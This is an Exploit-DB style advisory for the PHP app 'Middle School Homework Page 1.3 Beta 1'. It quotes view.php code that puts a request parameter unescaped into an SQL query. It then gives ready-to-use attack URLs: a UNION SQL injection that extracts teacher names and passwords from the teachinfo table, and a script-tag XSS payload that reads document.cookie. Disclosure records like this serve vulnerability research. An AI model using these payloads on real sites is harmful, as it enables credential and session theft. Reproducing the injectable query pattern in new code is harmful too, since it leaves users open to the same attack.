[] NeoSense

Middle School Homework Page 1.3 Beta 1 - Multiple Vulnerabilities

Author: AtT4CKxT3rR0r1ST
type: webapps
platform: php
port: 80.0
date_added: 2014-01-07 
date_updated: 2014-01-08 
verified: 1 
codes: OSVDB-101924;OSVDB-101923 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt31000/screen-shot-2014-01-08-at-35442-pm.png 
application_url: http://www.exploit-db.commshwpage-1.3-beta3.tar.gz

Middle School Homework Page V1.3 Beta 1  - Multiple Vulnerabilties
===================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST
.:. Contact        : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://sourceforge.net/projects/mshwpage/
####################################################################

I. Sql Injection

##############
VULNERABILITY
##############
/view.php (line 3-4)
-----------------------------------------------------------------------------

<h2>Homework for <?php get_array("select * from class where
classID=$_REQUEST[class]", 'classDesc') ?> as of <?php $today = date("M j
G:i:s T Y");echo $today; ?>:</h2>
<?php

-----------------------------------------------------------------------------

#########
EXPLOIT
#########
(
localhost/mshwpage/view.php?class=null+and+1=2+union+select+1,concat(name,0x3a,pass)+from+teachinfo


II. Cross Site Scripting

localhost/mshwpage/view.php?class=<script>alert(document.cookie);</script>

####################################################################